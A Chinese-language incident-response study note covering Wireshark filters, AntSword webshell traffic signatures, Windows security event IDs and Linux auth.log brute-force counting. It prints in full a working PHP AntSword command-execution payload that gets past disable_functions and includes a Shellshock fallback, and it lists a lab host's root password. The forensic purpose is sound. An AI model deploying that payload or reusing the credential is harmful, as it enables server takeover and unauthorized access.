流量分析

Ethernet II:看源/目标mac地址
Internet Protocol Version 4:源/目的ip
Transmission Control Protocol: 看源/目的端口、flag位(判断哪些端口开放:syn+ack是开放,rst是未开放)

过滤语法和实践

源ip为。。。。。

1
ip.src==

目的ip为。。。。

1
ip.dst==

源/目的地址为。。。。

1
ip.addr==

看端口是否开放(过滤出回应syn+ack的包)

1
tcp.flags == 0x0012

比如找靶机开了什么端口
观察分析都是攻击通过65127端口来扫描(因为靶机都是回应65127端口)

那就加上

1
tcp.dstport==65127

过滤请求方式

比如过滤POST

1
http.request.method==POST

模糊匹配路径关键字

匹配http类型中带有admin@123

1
http contains "admin@123"

比如匹配请求中带有upload的

1
http.request.uri contains "upload"

过滤状态码

1
http.response.code==

401:一般是针对要权限认证的目录

过滤技巧

直接选择数据包中某一项,然后右键->作为过滤器->选中

分析思路

找木马位置什么的一般就搜关键字upload这些
目录认证搜401
开开放端口就利用flag位
找shell执行过程一般要详细分析shell文件,一般都是弹shell那就直接对着ip和端口去查

比如找文件上传的漏洞点

1
mime_multipart.header.content-disposition == "form-data;name=\"upload\""

修改upload那边的关键字就行
要不要就直接按post类型来找,文件上传一定是post的

流量特征

蚁剑

解密时就删除前两个字符
根据蚁剑shell分析得来(蚁剑一般都是小马(自己传的webshell)拉大马)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach ($oparr as $item) {
if (!@is_writable($item)) {
continue;
};
$tmdir = $item . "/.75709";
@mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}
$tmdir = realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
};
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
};
};
function asenc($out) {
return $out;
};
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "683b" . "355ae";
echo @asenc($output);
echo "1ad" . "ea1";
}
ob_start();
try {
$p = base64_decode(substr($_POST["fba071687f1d27"], 2));
$s = base64_decode(substr($_POST["xca9bca6c63f41"], 2));
$envstr = @base64_decode(substr($_POST["bdcfedcaaa78ea"], 2));
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
if (substr($d, 0, 1) == "/") {
@putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
} else {
@putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if (!empty($envstr)) {
$envarr = explode("|||asline|||", $envstr);
foreach ($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r = "{$p} {$c}";
function fe($f) {
$d = explode(",", @ini_get("disable_functions"));
if (empty($d)) {
$d = array();
} else {
$d = array_map('trim', array_map('strtolower', $d));
}
return (function_exists($f) && is_callable($f) && !in_array($f, $d));
};
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return FALSE;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return TRUE;
}
}
return FALSE;
};
function runcmd($c) {
$ret = 0;
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if (fe('system')) {
@system($c, $ret);
} elseif (fe('passthru')) {
@passthru($c, $ret);
} elseif (fe('shell_exec')) {
print(@shell_exec($c));
} elseif (fe('exec')) {
@exec($c, $o, $ret);
print(join("\n", $o));
} elseif (fe('popen')) {
$fp = @popen($c, 'r');
while (!@feof($fp)) {
print(@fgets($fp, 2048));
}
@pclose($fp);
} elseif (fe('proc_open')) {
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while (!@feof($io[1])) {
print(@fgets($io[1], 2048));
}
while (!@feof($io[2])) {
print(@fgets($io[2], 2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
} elseif (fe('antsystem')) {
@antsystem($c);
} elseif (runshellshock($d, $c)) {
return $ret;
} elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
$w = new COM('WScript.shell');
$e = $w->exec($c);
$so = $e->StdOut();
$ret .= $so->ReadAll();
$se = $e->StdErr();
$ret .= $se->ReadAll();
print($ret);
} else {
$ret = 127;
}
return $ret;
};
$ret = @runcmd($r . " 2>&1");
print ($ret != 0) ? "ret={$ret}" : "";
;
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
};
asoutput();
die();

注意41、42行代码

1
2
$p = base64_decode(substr($_POST["fba071687f1d27"], 2));  
$s = base64_decode(substr($_POST["xca9bca6c63f41"], 2));

这两行代码说明怎么解密命令,就是将数据删去前两位然后base 64解码
注意runcmd函数,这是命令执行尝试绕过的函数,如果绕过了就能正常回显命令

返回结果为127说明利用失败

日志分析

windows

win+r打开

1
gpedit.msc

本地组策略->windows设置…,全设成成功

全设置了才能进行审计分析
打开事件查看器
win+r

1
eventvwr

windows日志->安全

从筛选当前日志来过滤,主要关注事件id

事件id

4720

是用户创建的
用来排查被创建了什么用户,谁创建的,创建时间

4688

进程创建
用来排查shell或是勒索病毒什么的,在什么时候第一次运行

5156

看网络出站入站
一般来排查攻击者什么时候第一次会连远端目标
目标端口为0,协议为1,一般是icmp包

4624

登录成功/用户登录

4625

登录失败
一般是排查有无爆破,什么时候开始爆破

linux

环境:root 10.3.4.161

1
1qazcde3!@#

日志文件夹:/var/log

auth.log

记录用户的所有行为

检索登录失败

1
cat auth.log|grep failed

统计登录失败次数

先解压所有日志文件

1
gunzip auth.*

然后统计次数

1
cat auth.log* | grep Failed | awk -F " " '$6=="Failed"{print $11}' | sort |uniq -c


左边是次数,右边是源ip